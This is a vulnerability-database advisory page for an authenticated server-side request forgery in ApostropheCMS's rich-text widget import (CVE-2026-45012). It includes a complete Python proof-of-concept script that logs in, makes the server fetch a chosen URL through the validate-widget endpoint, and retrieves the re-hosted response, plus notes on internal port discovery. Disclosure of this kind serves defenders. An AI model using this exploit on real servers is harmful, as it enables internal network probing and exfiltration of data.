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Vulnerability details: VCID-fqs9-vc2r-skfj
Vulnerability ID VCID-fqs9-vc2r-skfj
Aliases CVE-2026-45012
GHSA-pr28-mf3q-qpg6
Summary Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget ### Summary ApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration. ### Details The vulnerable flow is in the rich-text widget sanitizer: - `packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.js` - `packages/apostrophe/modules/@apostrophecms/area/index.js` - `packages/apostrophe/modules/@apostrophecms/widget-type/index.js` Relevant behavior: 1. The backend accepts a widget payload containing `import.html`. 2. It parses `<img src=...>` values from that HTML. 3. For each image, it resolves the URL with: - `new URL(src, input.import.baseUrl || self.apos.baseUrl)` 4. It then performs a server-side `fetch(url)`. 5. The fetched body is written to a temp file and imported through Apostrophe image/attachment logic. This is reachable during widget validation through: - `POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft` ### PoC 1. Start a local HTTP server with a valid PNG: ```bash mkdir -p /tmp/apos-poc base64 -d > /tmp/apos-poc/secret.png <<'EOF' iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII= EOF cd /tmp/apos-poc && python3 -m http.server 7777 --bind 127.0.0.1 ``` 2. Run the following Python PoC: ```python #!/usr/bin/env python3 import argparse import json import sys from urllib.parse import urljoin import requests def login(base_url: str, username: str, password: str) -> str: url = urljoin(base_url, "/api/v1/@apostrophecms/login/login") r = requests.post( url, json={ "username": username, "password": password }, timeout=20 ) r.raise_for_status() data = r.json() token = data.get("token") if not token: raise RuntimeError(f"Login succeeded but no token was returned: {data}") return token def trigger(base_url: str, token: str, area_field_id: str, target_url: str) -> dict: url = urljoin( base_url, "/api/v1/@apostrophecms/area/validate-widget?aposMode=draft" ) payload = { "areaFieldId": area_field_id, "type": "@apostrophecms/rich-text", "widget": { "type": "@apostrophecms/rich-text", "content": "<p>seed</p>", "import": { "html": f'<img src="{target_url}">', "baseUrl": target_url.rsplit("/", 1)[0] if "/" in target_url else target_url } } } r = requests.post( url, headers={ "Authorization": f"Bearer {token}", "Accept": "application/json" }, json=payload, timeout=30 ) r.raise_for_status() return r.json() def main() -> int: parser = argparse.ArgumentParser( description="Authenticated ApostropheCMS SSRF PoC via rich-text widget import." ) parser.add_argument("--base-url", default="http://127.0.0.1:3000") parser.add_argument("--username", default="admin") parser.add_argument("--password", default="admin123") parser.add_argument("--area-field-id", default="cd4f89f5b834d0036f3867f1507a8add") parser.add_argument("--target-url", default="http://127.0.0.1:7777/secret.png") parser.add_argument( "--fetch-image", action="store_true", help="Fetch the generated Apostrophe image URL after exploitation." ) args = parser.parse_args() try: token = login(args.base_url, args.username, args.password) result = trigger(args.base_url, token, args.area_field_id, args.target_url) except Exception as exc: print(f"[!] Exploit failed: {exc}", file=sys.stderr) return 1 print("[+] Login OK") print(f"[+] Bearer token: {token}") print("[+] Exploit response:") print(json.dumps(result, indent=2)) widget = result.get("widget") or {} image_ids = widget.get("imageIds") or [] if not image_ids: print("[-] No imageIds returned. Target may have been fetched but not persisted as an image.") return 0 image_id = image_ids[0] image_path = f"/api/v1/@apostrophecms/image/{image_id}/src" image_url = urljoin(args.base_url, image_path) print(f"[+] Generated image id: {image_id}") print(f"[+] Generated image URL: {image_url}") if args.fetch_image: r = requests.get(image_url, allow_redirects=True, timeout=30) print(f"[+] Final fetch status: {r.status_code}") print(f"[+] Final URL: {r.url}") print(f"[+] Retrieved bytes: {len(r.content)}") return 0 if __name__ == "__main__": raise SystemExit(main()) ``` 3. Example usage: ```bash python3 poc.py \ --base-url http://127.0.0.1:3000 \ --username admin \ --password admin123 \ --area-field-id cd4f89f5b834d0036f3867f1507a8add \ --target-url http://127.0.0.1:7777/secret.png \ --fetch-image ``` 4. Expected result: - The local listener receives: GET /secret.png HTTP/1.1 - The API response includes a rewritten Apostrophe image URL and imageIds. - The generated image URL can then be fetched through the application. Additional note: - If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration. ### Impact An authenticated user with permission to submit or edit rich-text widget content can: - trigger server-side requests to internal services (127.0.0.1, private subnets, etc.) - perform blind or semi-blind internal port and service discovery - exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content
Status Published
Exploitability None
Weighted Severity None
Risk None
Affected and Fixed Packages Package Details
Weaknesses (1)
No exploits are available.
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L Found at https://github.com/apostrophecms/apostrophe
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L Found at https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-pr28-mf3q-qpg6
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

No EPSS data available for this vulnerability.

Date Actor Action Source VulnerableCode Version
2026-06-04T17:00:44.317402+00:00 GithubOSV Importer Import https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-pr28-mf3q-qpg6/GHSA-pr28-mf3q-qpg6.json 38.6.0